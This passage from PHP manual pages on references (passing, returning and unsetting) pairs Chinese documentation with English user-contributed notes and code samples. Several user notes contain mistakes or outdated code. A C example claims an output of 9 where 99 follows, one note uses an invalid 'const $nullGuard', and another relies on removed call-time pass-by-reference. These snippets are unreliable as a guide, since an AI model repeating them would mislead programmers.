When we want create some "pointer of pointer" in PHP i can't do that because it's impossible in PHP. We need pointer to another pointer to change the place that the pointer refers to. In your exaple you just change value of variable in function. ( no operation of pointers )
Andrew 04-Sep-2008 10:56
What References are not: References.

References are opaque things that are like pointers, except A) smarter and B) referring to HLL objects, rather than memory addresses. PHP doesn't have references. PHP has a syntax for creating *aliases* which are multiple names for the same object. PHP has a few pieces of syntax for calling and returning "by reference", which really just means inhibiting copying. At no point in this "references" section of the manual are there any references.
Anonymous 09-Jun-2008 11:52
The example given in the text:

<?php
function foo(&$var)
{
    $var =& $GLOBALS["baz"];
}
foo($bar);
?>

illustrates (to my mind anyway) why the = and & should be written together as a new kind of replacement operator and not apart as in C, like  $var = &$GLOBALS["baz"];

Using totally new terminology:

To me the result of this function is not surprising because the =& means 'change the "destination" of $var from wherever it was to the same as the destination of $GLOBALS["baz"]. Well it 'was' the actual parameter $bar, but now it will be the global at "baz".

If you simply remove the & in the the replacement, it will place the value of $GLOBALS["baz'] into the destination of $var, which is $bar (unless $bar was already a reference, then the value goes into that destination.)

To summarize, =, replaces the 'destination's value; =&, changes the destination.
ansonyumo at email dot com 28-Feb-2004 01:47
The assertion,  "references are not like pointers," is a bit confusing.

In the example, the author shows how assigning a reference to a formal parameter that is also a reference does not affect the value of the actual parameter. This is exactly how pointers behave in C. The only difference is that, in PHP, you don't have to dereference the pointer to get at the value.

-+-+-
int bar = 99;

void foo(int* a)
{
    a = &bar;
}

int main()
{
   int baz = 1;
   foo(&baz);
   printf("%d\n", baz);
   return 0;
}
-+-+-

The output will be 1, because foo does not assign a value to the dereferenced formal parameter. Instead, it reassigns the formal parameter within foo's scope.

Alternatively,
-+-+-
int bar = 99;

void foo(int* a)
{
    *a = bar;
}

int main()
{
   int baz = 1;
   foo(&baz);
   printf("%d\n", baz);
   return 0;
}
-+-+-

The output will be 9, because foo dereferenced the formal parameter before assignment.

So, while there are differences in syntax, PHP references really are very much like pointers in C.

I would agree that PHP references are very different from Java references, as Java does not have any mechanism to assign a value to a reference in such a way that it modifies the actual parameter's value.
schultz __at__ widescreen __dot__ ch 26-Jan-2004 07:57
A not so simple Workaround...but still doable...have fun

class My{
    var $value;

    function get1(&$ref){
        $ref[] =& $this;
    }

    function get2(&$ref){
        $ref =& $this;
    }

    function get3(&$ref){
        $ref = $this;
    }
}

$m = new My();

$m->value = 'foo';
$m->get1($ref=array());
$m1 =& $ref[0];
$m1->value = 'bar';
echo "\n".'Works but is ugly...';
echo "\n".' m:'. get_class($m) . '->value = '. $m->value;
echo "\n".' m1:'. get_class($m1) . '->value = '. $m1->value;

echo "\n".'Does not work because references are not pointers...';
$m->value = 'foo';
$m->get2($m2);
$m2->value = 'bar';
echo "\n".' m:'. get_class($m) . '->value = '. $m->value;
echo "\n".' m2:'. get_class($m2) . '->value = '. $m2->value;

$m->value = 'foo';
$m->get3($m3);
$m3->value = 'bar';
echo "\n".'Does not work becuase it is set to a copy';
echo "\n".' m:'. get_class($m) . '->value = '.$m->value;
echo "\n".' m3:'. get_class($m3) . '->value = '. $m3->value;
christian at kno dot at 12-Oct-2001 06:04
As said above references are not pointers.

Following example shows a difference between pointers and references.

This Code
<?
    $b = 1;
    $a =& $b;

    print("<pre>");
    print("\$a === \$b: ".(($a === $b) ? "ok" : "failed")."\n");
    print("unsetting \$a...\n");
    unset($a);
    print("now \$a is ".(isset($a) ? "set" : "unset")." and \$b is ".(isset($b) ? "set" : "unset")."\n");
    print("</pre>");

    $b = 1;
    $a =& $b;

    print("<pre>");
    print("\$a === \$b: ".(($a === $b) ? "ok" : "failed")."\n");
    print("unsetting \$b...\n");
    unset($b);
    print("now \$a is ".(isset($a) ? "set" : "unset")." and \$b is ".(isset($b) ? "set" : "unset")."\n");
    print("</pre>");
?>

will produce this output:
---------
$a === $b: ok
unsetting $a...
now $a is unset and $b is set

$a === $b: ok
unsetting $b...
now $a is set and $b is unset
---------

So you see that $a and $b are identical ($a === $b -> true), but if one of both is unset, the other is not effected.


引用传递

可以将一个变量通过引用传递给函数，这样该函数就可以修改其参数的值。语法如下：

<?php
function foo(&$var)
{
$var++;
}

$a=5;
foo($a);
// 这里 $a 是 6
?>
注意在函数调用时没有引用符号——只有函数定义中有。光是函数定义就足够使参数通过引用来正确传递了。

以下内容可以通过引用传递：

  • 变量，例如 foo($a)

  • 从函数中返回的引用，例如：

    <?php
    function foo(&$var)
    {
    $var++;
    }
    function &    bar()
    {
    $a = 5;
    return     $a;
    }
    foo(bar());
    ?>
    详细解释见引用返回。

任何其它表达式都不能通过引用传递，结果未定义。例如下面引用传递的例子是无效的：

<?php
function foo(&$var)
{
$var++;
}
function bar() // 注意缺少 &
{
$a = 5;
return $a;
}
foo(bar()); // 导致 notice 信息

foo($a = 5) // 表达式，不是变量
foo(5) // 导致致命错误

class Foobar
{
}

foo(new Foobar()) // 自 PHP 7.0.7 起生成通知
// 注意：只有变量应该通过引用传递
?>

User Contributed Notes

Anonymous 06-Mar-2023 10:51
Parameters passed by references can have default values.
You can find out if a variable was actually passed by using func_num_args():

<?php

function refault( & $ref = 'Do I have to be calculated?'){
  echo 'NUM ARGS:  '. func_num_args()."\n";
  echo "ORI VALUE: {$ref}\n";
  if( func_num_args() > 0 )  $ref = 'Yes, expensive to calculate result: ' . sleep(1);
  else $ref = 'No.';
  echo "NEW VALUE: {$ref}\n";
}

$result = 'Do I have to be calculated?';
refault( $result );
echo "RESULT:    {$result}\n";
// NUM ARGS:  1
// ORI VALUE: Do I have to be calculated?
// NEW VALUE: Yes, expensive to calculate result: 0
// RESULT:    Yes, expensive to calculate result: 0

refault();
// NUM ARGS:  0
// ORI VALUE: Do I have to be calculated?
// NEW VALUE: No.
?>
rob at librobert dot net 23-Nov-2021 01:22
A reference remains a reference, even if it's an element of an array that is not passed by reference.

An example:

<?php
$c = 3;
$array = array(
        'a' => 1,
        'b' => 2,
        'c' => &$c
);
var_dump($array);
function func($array) {
        $array['a'] = 4;
        $array['b'] = 5;
        $array['c'] = 6;
        var_dump($array);
}
func($array);
var_dump($array);
var_dump($c);
?>

This will output the following:

array(3) {
  ["a"]=>
  int(1)
  ["b"]=>
  int(2)
  ["c"]=>
  &int(3)
}
array(3) {
  ["a"]=>
  int(4)
  ["b"]=>
  int(5)
  ["c"]=>
  &int(6)
}
array(3) {
  ["a"]=>
  int(1)
  ["b"]=>
  int(2)
  ["c"]=>
  &int(6)
}
int(6)

You could use this to allow a function to have read-write access to part of the array, while limiting it to read-only access for the rest of the array:

<?php
$config = [
        'ro' => [
                // ...
        ],
        'rw' => [
                // ...
        ]
];
$copy = $config;
$copy['rw'] = &$config['rw'];
func($copy);
?>
tianyiw at vip dot qq dot com 25-Jun-2021 07:51
I designed a class that can easily pass references.

<?php
#### Problem 1
function problem(&$value)
{
}
problem(1); // cannot be passed by reference

#### Problem 2
class problem2
{
    static function __callStatic($name, &$arguments) // cannot take arguments by reference
    {
    }
}
?>

My solution ??
<?php
class Reference
{
    function __construct(public mixed &$data)
    {
    }

    /**
     * create
     *
     * @param mixed $data
     * @return self
     */
    static function &create(mixed &$data): self
    {
        if ($data instanceof self) {
            return $data;
        }
        $r = new self($data);
        return $r;
    }

    /**
     * get value
     *
     * @param mixed $reference
     * @return mixed
     */
    static function &get(mixed &$reference): mixed
    {
        if ($reference instanceof self) {
            return $reference->data;
        }
        return $reference;
    }
}

#### Problem solving 1 ####

function test($value)
{
    $value = &Reference::get($value); // values OR reference
    $value = "test-$value";
    return $value;
}

echo test(1), PHP_EOL; // test-1

$val = 2;
echo test(Reference::create($val)), PHP_EOL; // test-2
echo $val, PHP_EOL; // test-2

#### Problem solving 2 ####
class TestCall
{
    static function __callStatic($name, $arguments)
    {
        $value = &Reference::get($arguments[0]);
        $value = "$name-$value";
        return $value;
    }
}

echo TestCall::test(3), PHP_EOL; // test-3

$val = 4;
echo TestCall::test(Reference::create($val)), PHP_EOL; // test-4
echo $val, PHP_EOL; // test-4
yiangforwork at gmail dot com 17-Sep-2020 01:35
function set(&$arr) {
    $test = 10;
    $arr = &$test;
}

$arr = [1, 2, 3];
set( $arr );

var_dump( $arr );    // [1, 2, 3]

If you changed a reference variable with a new `Address`, the variable it originally pointed to won't change.
Jason Steelman 12-Nov-2019 06:13
Within a class, passing array elements by reference which don't exist are added to the array as null. Compared to a normal function, this changes the behavior of the function from throwing an error to creating a new (null) entry in the referenced array with a new key.

<?php

class foo {
    public $arr = ['a' => 'apple', 'b' => 'banana'];
    public function normalFunction($key) {
        return $this->arr[$key];
    }
    public function &referenceReturningFunction($key) {
        return $this->arr[$key];
    }
}

$bar = new foo();
$var = $bar->normalFunction('beer'); //Notice Error. Undefined index beer
$var = &$bar->referenceReturningFunction('beer'); // No error. The value of $bar is now null
var_dump($bar->arr);
/**
[
  "a" => "apple",
  "b" => "banana",
  "beer" => null,
],
*/

?>
This is in no way a "bug" - the framework is performing as designed, but it took careful thought to figure out what was going on. PHP7.3
ccb_bc at hotmail dot com 01-Jul-2019 05:58
<?php
// PHP >= 5.6

// Here we use the 'use' operator to create a variable within the scope of the function. Although it may seem that the newly created variable has something to do with '$x' that is outside the function, we are actually creating a '$x' variable within the function that has nothing to do with the '$x' variable outside the function. We are talking about the same names but different content locations in memory.
$x = 10;
(function() use ($x){
    $x = $x*$x;
    var_dump($x); // 100
})();
var_dump($x); // 10

// Now the magic happens with using the reference (&). Now we are actually accessing the contents of the '$y' variable that is outside the scope of the function. All the actions that we perform with the variable '$y' within the function will be reflected outside the scope of this same function. Remembering this would be an impure function in the functional paradigm, since we are changing the value of a variable by reference.
$y = 10;
(function() use (&$y){
    $y = $y*$y;
    var_dump($y); // 100
})();
var_dump($y); // 100
?>
fladnag at zerezo dot com 18-Aug-2017 09:29
Beware of using references with anonymous function and "use" keyword :

If you have a PHP version between 5.3 and < 5.3.10, "use" keyword break the reference :

<?php
function withRef(&$arg) {
  echo 'withRef - BEGIN - '.$arg."\n"; // 1
  $func = function() use($arg) { /* do nothing, just declare using $arg */ };
  $arg = 2;
  echo 'withRef - END - '.$arg."\n"; // 2
}

$arg = 1;
echo 'withRef - BEFORE - '.$arg."\n"; // 1
withRef($arg);
// in PHP 5.3 < 5.3.10 : display 1
// in PHP 5.3 >= 5.3.10 : display 2
echo 'withRef - AFTER - '.$arg."\n";
?>

A workaround is to use a copy of the reference variable in "use" keyword :
<?php
  ...
  $arg2 = $arg;
  $func = function() use($arg2) { /* do nothing, just declare using $arg2 */ };
nickshanks at nickshanks dot com 26-May-2017 12:49
For anyone wondering, the copy-on-write behaviour just does the Right Thing™ when an array is passed to a function not by-ref which then passes it through to another function by-ref without writing to it. For example:

<?php

function do_sort(array $array) : array {
    usort($array, function ($a, $b) {
        return strnatcasecmp($a['name'], $b['name']);
    });

    return $array;
}

$data = [
    [
        'name' => 'one',
    ], [
        'name' => 'two',
    ], [
        'name' => 'three',
    ], [
        'name' => 'four',
    ],
];

var_dump($data);
do_sort($data); // does not affect value of $data
var_dump($data);
$data = do_sort($data);
var_dump($data);
pallsopp at gmail dot com 19-Dec-2016 08:32
The comment by tnestved at yahoo dot com is incorrect as it is based purely on perception and not architecture. The method passing the object should not care whether it is by ref or by val, and nor should the reader.

If we are talking about readability and perception, then the receiving method needs to show that the object coming in is a reference, not an object instance, otherwise the reader is perplexed why the object is not returned.

Good functional headers alleviate all issues in this case.
mike at eastghost dot com 19-May-2015 07:06
beware unset()  destroys references

$x = 'x';
change( $x );
echo $x; // outputs "x" not "q23"  ---- remove the unset() and output is "q23" not "x"

function change( & $x )
{
    unset( $x );
    $x = 'q23';
    return true;
}
no at spam dot please 05-May-2015 08:36
agreed : this change produces less readable code.

additionally, it breaks many existing perfectly working codes which are not portable anymore and in some cases will require complex modifications

another issue regards the fatal error that is produced : how the hell am i supposed to do if i want to allow the user to use a value that is not even in a variable, or the return or a function call, or use call_user_func... this produces many occasions for a code to even break at run time
tnestved at yahoo dot com 14-Oct-2014 01:54
By removing the ability to include the reference sign on function calls where pass-by-reference is incurred (I.e., function definition uses &), the readability of the code suffers, as one has to look at the function definition to know if the variable being passed is by-ref or not (I.e., potential to be modified).  If both function calls and function definitions require the reference sign (I.e., &), readability is improved, and it also lessens the potential of an inadvertent error in the code itself.  Going full on fatal error in 5.4.0 now forces everyone to have less readable code.  That is, does a function merely use the variable, or potentially modify it...now we have to find the function definition and physically look at it to know, whereas before we would know the intent immediately.
phpnet at holodyn dot com 26-Mar-2014 06:38
The notes indicate that a function variable reference will receive a deprecated warning in the 5.3 series, however when calling the function via call_user_func the operation aborts without fatal error.

This is not a "bug" since it is not likely worth resolving, however should be noted in this documentation.
diabolos @t gmail dot com 27-Jul-2012 02:46
<?php

/*

  This function internally swaps the contents between
  two simple variables using 'passing by reference'.

  Some programming languages have such a swap function
  built in, but PHP seems to lack such a function.  So,
  one was created to fill the need.  It only handles
  simple, single variables, not arrays, but it is
  still a very handy tool to have.

  No value is actually returned by this function, but
  the contents of the indicated variables will be
  exchanged (swapped) after the call.
*/

// ------------------------------------------
// Demo call of the swap(...) function below.

 $a = 123.456;
 $b = 'abcDEF';

 print "<pre>Define:\na = $a\nb = '$b'</pre>";
 swap($a,$b);
 print "<pre>After swap(a,b):\na = '$a'\nb = $b</pre>";

// -------------------------------

   function swap (&$arg1, &$arg2)
{

// Swap contents of indicated variables.
   $w=$arg1;   $arg1=$arg2;   $arg2=$w;
}

?>
fdelizy at unfreeze dot net 12-Aug-2006 09:32
Some have noticed that reference parameters can not be assigned a default value. It's actually wrong, they can be assigned a value as the other variables, but can't have a "default reference value", for instance this code won't compile :

<?php
function use_reference( $someParam, &$param =& $POST )
{
 ...
}
?>

But this one will work :

<?php
function use_reference( $someParam, &$param = null )
?>

So here is a workaround to have a default value for reference parameters :

<?php
$array1 = array ( 'test', 'test2' );

function AddTo( $key, $val, &$array = null)
{
    if ( $array == null )
    {
      $array =& $_POST;
    }

    $array[ $key ] = $val ;
}

AddTo( "indirect test", "test", $array1 );
AddTo( "indirect POST test", "test" );

echo "Array 1 " ;
print_r ( $array1);

echo "_POST ";
print_r( $_POST );

?>

And this scripts output is :

Array 1 Array
(
    [0] => test
    [1] => test2
    [indirect test] => test
)
_POST Array
(
    [indirect POST test] => test
)

Of course that means you can only assign default reference to globals or super globals variables.

Have fun
pillepop2003 at yahoo dot de 13-Feb-2005 08:08
PHP has a strange behavior when passing a part of an array by reference, that does not yet exist.

<?php
    function func(&$a)
    {
        // void();
    }

    $a['one'] =1;
    func($a['two']);
?>

var_dump($a) returns

    array(2) {
        ["one"]=>
        int(1)
        ["two"]=>
        NULL
    }

...which seems to be not intentional!
obscvresovl at NOSPAM dot hotmail dot com 25-Dec-2004 10:51
Just a simple note...

<?php

$num = 1;

function blah(&$var)
{
    $var++;
}

blah($num);

echo $num; #2

?>

<?php

$num = 1;

function blah()
{
    $var =& $GLOBALS["num"];
    $var++;
}

blah();

echo $num; #2

?>

Both codes do the same thing! The second code "explains" how passage of parameters by reference works.
Sergio Santana: ssantana at tlaloc dot imta dot mx 10-Sep-2004 08:25
Sometimes we need functions for building or modifying arrays whose elements are to be references to other variables (arrays or objects for instance). In this example, I wrote two functions 'tst' and 'tst1' that perform this task. Note how the functions are written, and how they are used.

<?php
function tst(&$arr, $r) {
  // The argument '$arr' is declared to be passed by reference,
  // but '$r' is not;
  // however, in the function's body, we use a reference to
  // the '$r' argument

  array_push($arr, &$r);
  // Alternatively, this also could be $arr[] = &$r (in this case)
}

$arr0 = array();          // an empty array
$arr1 = array(1,2,3);   // the array to be referenced in $arr0

// Note how we call the function:
tst($arr0, &$arr1); // We are passing a reference to '$arr1' in the call !

print_r($arr0); // Contains just the reference to $arr1

array_push($arr0, 5); // we add another element to $arr0
array_push($arr1, 18); // we add another element to $arr1 as well

print_r($arr1);
print_r($arr0); // Changes in $arr1 are reflected in $arr0

// -----------------------------------------
// A simpler way to do this:

function tst1(&$arr, &$r) {
  // Both arguments '$arr' and '$r" are declared to be passed by
  // reference,
  // again, in the function's body, we use a reference to
  // the '$r' argument

  array_push($arr, &$r);
  // Alternatively, this also could be $arr[] = &$r (in this case)
}

$arr0 = array();          // an empty array
$arr1 = array(1,2,3);   // the array to be referenced in $arr0

// Note how we call the function:
tst1($arr0, $arr1); // 'tst1' understands '$r' is a reference to '$arr1'

echo "-------- 2nd. alternative ------------ <br>\n";

print_r($arr0); // Contains just the reference to $arr1

array_push($arr0, 5); // we add another element to $arr0
array_push($arr1, 18);

print_r($arr1);
print_r($arr0); // Changes in $arr1 are reflected in $arr0

// This outputs:
// X-Powered-By: PHP/4.1.2
// Content-type: text/html
//
// Array
// (
//     [0] => Array
//         (
//             [0] => 1
//             [1] => 2
//             [2] => 3
//         )
//
// )
// Array
// (
//     [0] => 1
//     [1] => 2
//     [2] => 3
//     [3] => 18
// )
// Array
// (
//     [0] => Array
//         (
//             [0] => 1
//             [1] => 2
//             [2] => 3
//             [3] => 18
//         )
//
//     [1] => 5
// )
// -------- 2nd. alternative ------------
// Array
// (
//     [0] => Array
//         (
//             [0] => 1
//             [1] => 2
//             [2] => 3
//         )
//
// )
// Array
// (
//     [0] => 1
//     [1] => 2
//     [2] => 3
//     [3] => 18
// )
// Array
// (
//     [0] => Array
//         (
//             [0] => 1
//             [1] => 2
//             [2] => 3
//             [3] => 18
//         )
//
//     [1] => 5
// )
?>

In both cases we get the same result.

I hope this is somehow useful

Sergio.


引用返回

引用返回用在当想用函数找到引用应该被绑定在哪一个变量上面时。 不要用返回引用来增加性能，引擎足够聪明来自己进行优化。 仅在有合理的技术原因时才返回引用！ 使用此语法返回引用：

<?php
class foo {
public $value = 42;

public function &getValue() {
return $this->value;
}
}

$obj = new foo;
$myValue = &$obj->getValue(); // $myValue 是对 $obj->value 的引用，即 42。
$obj->value = 2;
echo $myValue; // 打印 $obj->value 的新值，即 2。
?>
本例中 getValue 函数所返回的对象的属性将被赋值， 而不是拷贝，就和没有用引用语法一样。

Note: 和参数传递不同，这里必须在两个地方都用 & 符号——指出返回的是一个引用，而不是通常的一个拷贝，同样也指出 $myValue 是作为引用的绑定，而不是通常的赋值。

Note: 如果试图这样从函数返回引用：return ($this->value);，这将不会起作用， 因为在试图返回一个表达式的结果而不是一个引用的变量。 只能从函数返回引用变量——没别的方法。

要使用返回的引用，必须使用引用赋值：

<?php
function &collector() {
static $collection = array();
return $collection;
}
$collection = &collector();
$collection[] = 'foo';
?>
要将返回的引用传递给另外一个需要引用的函数，可以使用如下语法：
<?php
function &collector() {
static $collection = array();
return $collection;
}
array_push(collector(), 'foo');
?>

Note: 注意 array_push(&collector(), 'foo'); 将 不 起作用，它会导致 Fatal 错误。

User Contributed Notes

anisgazig at gmail dot com 25-Feb-2022 02:05
<?php

$a = 9;
function &myF(){
    global $a;
    return $a;
}

//before modified the value
$func =& myF();
echo "$a and $func";
echo "\n";

//after modified the value
$func++;
echo "$a and $func";
jpenna 12-Mar-2020 11:41
You can set the value of the variable returned by reference, be it a `static` function variable or a `private` property of an object (which is quite dangerous o.o).

Static function variable:

<?php
    function &func(){
        static $static = 0;
        return $static;
    }

    $var1 =& func();
    echo "var1:", $var1, "\n"; // 0
    func();

    $var1 = 90;
    echo "var1:", $var1, "\n"; // 90
    echo "static:", func(), "\n"; // 90
?>

Private property

<?php
class foo {
    private $value = 1;

    public function &getValue() {
        return $this->value;
    }

    public function setValue($val) {
        $this->value = $val;
    }
}

$obj = new foo;
$myValue = &$obj->getValue(); // $myValue is a reference to $obj->value, which is 1.
echo $obj->getValue();  // 1
echo $myValue; // 1
$obj->setValue(5);
echo $obj->getValue();  // 5
echo $myValue; // 5
$myValue = 1000;
echo $obj->getValue();  // 1000
echo $myValue; // 1000
?>
fabian dot picone at gmail dot com 14-Aug-2018 09:00
This note seems not to apply with PHP 7:

"Note: If you try to return a reference from a function with the syntax: return ($this->value); this will not work as you are attempting to return the result of an expression, and not a variable, by reference. You can only return variables by reference from a function - nothing else. Since PHP 5.1.0, an E_NOTICE error is issued if the code tries to return a dynamic expression or a result of the new operator."

Bug following code works without error output. Same result as i would not have braces around $this-value.

<?php

class foo {
    public $value = 42;

    public function &getValue() {
        return ($this->value);
    }
}

$obj = new foo;
$myValue = &$obj->getValue();
$obj->value = 2;
echo $myValue;
civilization28 at gmail dot com 17-Sep-2014 01:49
Zayfod's example above is useful, but I feel that it needs more explanation. The point that should be made is that a parameter passed in by reference can be changed to reference something else, resulting in later changes to the local variable not affecting the passed in variable:

<?php

function    & func_b ()
{
    $some_var = 2;
    return $some_var;
}

function    func_a (& $param)
{
    # $param is 1 here
    $param = & func_b();    # Here the reference is changed and
                                           # the "&" in "func_a (& $param)"
                                           # is no longer in effect at all.
    # $param is 2 here
    $param++;    # Has no effect on $var.
}

$var = 1;
func_a($var);
# $var is still 1 here!!!    Because the reference was changed.

?>
Anonymous 05-Mar-2014 04:18
I learned a painful lesson working with a class method that would pass by reference.

In short, if you have a method in a class that is initialed with ampersand during declaration, do not use another ampersand when using the method as in &$this->method();

For example
<?php
class A {
    public function &hello(){
        static $a='';
        return $a;
    }
    public function bello(){
        $b=&$this->hello();  // incorrect. Do not use ampersand.
        $b=$this->hello();  // $b is a reference  to the static variable.
}
?>
benjamin dot delespierre at gmail dot com 23-Feb-2011 05:36
Keep in mind that returning by reference doesn't work with __callStatic:

<?php
class Test {
  private static $_inst;
  public static function & __callStatic ($name, $args) {
    if (!isset(static::$_inst)){
      echo "create";
      static::$_inst = (object)"test";
   }
   return static::$_inst;
}

var_dump($a = &Test::abc()); // prints 'create'
$a = null;
var_dump(Test::abc()); // doesn't prints and the instance still exists in Test::$_inst
?>
szymoncofalik at gmail dot com 28-Jan-2011 12:41
Sometimes, you would like to return NULL with a function returning reference, to indicate the end of chain of elements. However this generates E_NOTICE. Here is little tip, how to prevent that:

<?php
class Foo {
   const $nullGuard = NULL;
   // ... some declarations and definitions
   public function &next() {
      // ...
      if (!$end) return $bar;
      else return $this->nullGuard;
   }
}
?>

by doing this you can do smth like this without notices:

<?php
$f = new Foo();
// ...
while (($item = $f->next()) != NULL) {
// ...
}
?>

you may also use global variable:
global $nullGuard;
return $nullGuard;
spidgorny at gmail dot com 19-Mar-2010 06:18
When returning reference to the object member which is instantiated inside the function, the object is destructed upon returning (which is a problem). It's easier to see the code:

<?php

class MemcacheArray {
    public $data;

    ...

    /**
     * Super-clever one line cache reading AND WRITING!
     * Usage $data = &MemcacheArray::getData(__METHOD__);
     * Hopefully PHP will know that $this->data is still used
     * and will call destructor after data changes.
     * Ooops, it's not the case.
     *
     * @return unknown
     */
    function &getData($file, $expire = 3600) {
        $o = new MemcacheArray($file, $expire);
        return $o->data;
    }
?>

Here, destructor is called upon return() and the reference becomes a normal variable.

My solution is to store objects in a pool until the final exit(), but I don't like it. Any other ideas?

<?php
    protected static $instances = array();

    function &getData($file, $expire = 3600) {
        $o = new MemcacheArray($file, $expire);
        self::$instances[$file] = $o; // keep object from destructing too early
        return $o->data;
    }
?>
sandaimespaceman at gmail dot com 02-Nov-2008 08:52
The &b() function returns a reference of $a in the global scope.

<?php
$a = 0;
function &b()
{
    global $a;
    return $a;
}
$c = &b();
$c++;
echo
"
\$a: $a
\$b: $c
"
?>

It outputs:

$a: 1 $b: 1
Spad-XIII 31-Jan-2008 05:01
a little addition to the example of pixel at minikomp dot com here below
<?php

    function &func(){
        static $static = 0;
        $static++;
        return $static;
    }

    $var1 =& func();
    echo "var1:", $var1; // 1
    func();
    func();
    echo "var1:", $var1; // 3
    $var2 = func(); // assignment without the &
    echo "var2:", $var2; // 4
    func();
    func();
    echo "var1:", $var1; // 6
    echo "var2:", $var2; // still 4

?>
pixel at minikomp dot com 30-Dec-2007 04:21
<?php

    function &func(){
        static $static = 0;
        $static++;
        return $static;
    }

    $var =& func();
    echo $var; // 1
    func();
    func();
    func();
    func();
    echo $var; // 5

?>
stanlemon at mac dot com 28-Sep-2007 10:51
I haven't seen anyone note method chaining in PHP5.  When an object is returned by a method in PHP5 it is returned by default as a reference, and the new Zend Engine 2 allows you to chain method calls from those returned objects.  For example consider this code:

<?php

class Foo {

    protected $bar;

    public function __construct() {
        $this->bar = new Bar();

        print "Foo\n";
    }

    public function getBar() {
        return $this->bar;
    }
}

class Bar {

    public function __construct() {
        print "Bar\n";
    }

    public function helloWorld() {
        print "Hello World\n";
    }
}

function test() {
    return new Foo();
}

test()->getBar()->helloWorld();

?>

Notice how we called test() which was not on an object, but returned an instance of Foo, followed by a method on Foo, getBar() which returned an instance of Bar and finally called one of its methods helloWorld().  Those familiar with other interpretive languages (Java to name one) will recognize this functionality.  For whatever reason this change doesn't seem to be documented very well, so hopefully someone will find this helpful.
php at thunder-2000 dot com 02-Feb-2007 02:31
If you want to get a part of an array to manipulate, you can use this function

function &getArrayField(&$array,$path) {
  if (!empty($path)) {
    if (empty($array[$path[0]])) return NULL;
    else return getArrayField($array[$path[0]], array_slice($path, 1));
  } else {
    return $array;
  }
}

Use it like this:

$partArray =& getArrayField($GLOBALS,array("config","modul1"));

You can manipulate $partArray and the changes are also made with $GLOBALS.
rwruck 27-Feb-2006 09:22
The note about using parentheses when returning references is only true if the variable you try to return does not already contain a reference.

<?php
// Will return a reference
function& getref1()
  {
  $ref =& $GLOBALS['somevar'];
  return ($ref);
  }

// Will return a value (and emit a notice)
function& getref2()
  {
  $ref = 42;
  return ($ref);
  }

// Will return a reference
function& getref3()
  {
  static $ref = 42;
  return ($ref);
  }
?>
willem at designhulp dot nl 09-Oct-2005 04:54
There is an important difference between php5 and php4 with references.

Lets say you have a class with a method called 'get_instance' to get a reference to an exsisting class and it's properties.

<?php
class mysql {
    function get_instance(){
        // check if object exsists
        if(empty($_ENV['instances']['mysql'])){
            // no object yet, create an object
            $_ENV['instances']['mysql'] = new mysql;
        }
        // return reference to object
        $ref = &$_ENV['instances']['mysql'];
        return $ref;
    }
}
?>

Now to get the exsisting object you can use
mysql::get_instance();

Though this works in php4 and in php5, but in php4 all data will be lost as if it is a new object while in php5 all properties in the object remain.
obscvresovl at NOSPAM dot hotmail dot com 24-Dec-2004 01:09
An example of returning references:

<?

$var = 1;
$num = NULL;

function &blah()
{
    $var =& $GLOBALS["var"]; # the same as global $var;
    $var++;
    return $var;
}

$num = &blah();

echo $num; # 2

blah();

echo $num; # 3

?>

Note: if you take the & off from the function, the second echo will be 2, because without & the var $num contains its returning value and not its returning reference.
hawcue at yahoo dot com 16-Mar-2004 07:58
Be careful when using tinary operation condition?value1:value2

See the following code:

$a=1;
function &foo()
{
  global $a;
  return isset($a)?$a:null;
}
$b=&foo();
echo $b;   // shows 1
$b=2;
echo $a;   // shows 1 (not 2! because $b got a copy of $a)

To let $b be a reference to $a, use "if..then.." in the function.
contact at infopol dot fr 12-Feb-2004 09:36
A note about returning references embedded in non-reference arrays :

<?
$foo;

function bar () {
    global $foo;
    $return = array();
    $return[] =& $foo;
    return $return;
}

$foo = 1;
$foobar = bar();
$foobar[0] = 2;
echo $foo;
?>

results in "2" because the reference is copied (pretty neat).
zayfod at yahoo dot com 03-Dec-2003 09:23
There is a small exception to the note on this page of the documentation. You do not have to use & to indicate that reference binding should be done when you assign to a value passed by reference the result of a function which returns by reference.

Consider the following two exaples:

<?php

function    & func_b ()
{
    $some_var = 2;
    return $some_var;
}

function    func_a (& $param)
{
    # $param is 1 here
    $param = & func_b();
    # $param is 2 here
}

$var = 1;
func_a($var);
# $var is still 1 here!!!

?>

The second example works as intended:

<?php

function    & func_b ()
{
    $some_var = 2;
    return $some_var;
}

function    func_a (& $param)
{
    # $param is 1 here
    $param = func_b();
    # $param is 2 here
}

$var = 1;
func_a($var);
# $var is 2 here as intended

?>

(Experienced with PHP 4.3.0)


取消引用

当 unset 一个引用，只是断开了变量名和变量内容之间的绑定。这并不意味着变量内容被销毁了。例如：

<?php
$a = 1;
$b =& $a;
unset($a);
?>
不会 unset $b，只是 $a。

再拿这个和 Unix 的 unlink 调用来类比一下可能有助于理解。

User Contributed Notes

smcbride at msn dot com 20-Dec-2021 12:00
A little quirk on unset() when using references that may help someone.

If you want to delete the element of a reference to an array, you need to have the reference point to the parent of the key that you want to delete.

<?php
$arr = array('foo' => array('foo_sub1' => 'hey', 'foo_sub2' => 'you'), 'bar' => array('bar_sub1' => 'good', 'bar_sub2' => 'bye'));

$parref =  &$arr['foo'];
$childref = &$parref['foo_sub1'];

unset($childref);                   // this will simply unset the reference to child
unset($parref['foo_sub1']);   // this will actually unset the data in $arr;
$parref['foo_sub1'] = NULL;  // this will set the element to NULL, but not delete it.  If you run it after unset(), it add the key back and set it to NULL

?>

This is nice to use for passing something dynamically to a function by reference without copying the entire array to the function, but you want to do some maintenance on the array.
frowa at foxmail dot com 12-Jun-2021 10:33
it's my way to remember.

<?php

// the var $a is point to the value 1, as a line connect to value 1
$a = 1;

// the var $b point to the value which the var $a point to, as a new line connect to value 1
$b =& $a;

// cut the line of the var $a to value 1,now $a is freedom,it's nothing point to. so the value of $a is null
unset($a);
?>

         $a--------> 1
                           ↑
                            |
                            |
                           $b
ojars26 at NOSPAM dot inbox dot lv 03-May-2008 07:41
Simple look how PHP Reference works
<?php
/* Imagine this is memory map
 ______________________________
|pointer | value | variable              |
 -----------------------------------
|   1     |  NULL  |         ---           |
|   2     |  NULL  |         ---           |
|   3     |  NULL  |         ---           |
|   4     |  NULL  |         ---           |
|   5     |  NULL  |         ---           |
------------------------------------
Create some variables   */
$a=10;
$b=20;
$c=array ('one'=>array (1, 2, 3));
/* Look at memory
 _______________________________
|pointer | value |       variable's       |
 -----------------------------------
|   1     |  10     |       $a               |
|   2     |  20     |       $b               |
|   3     |  1       |      $c['one'][0]   |
|   4     |  2       |      $c['one'][1]   |
|   5     |  3       |      $c['one'][2]   |
------------------------------------
do  */
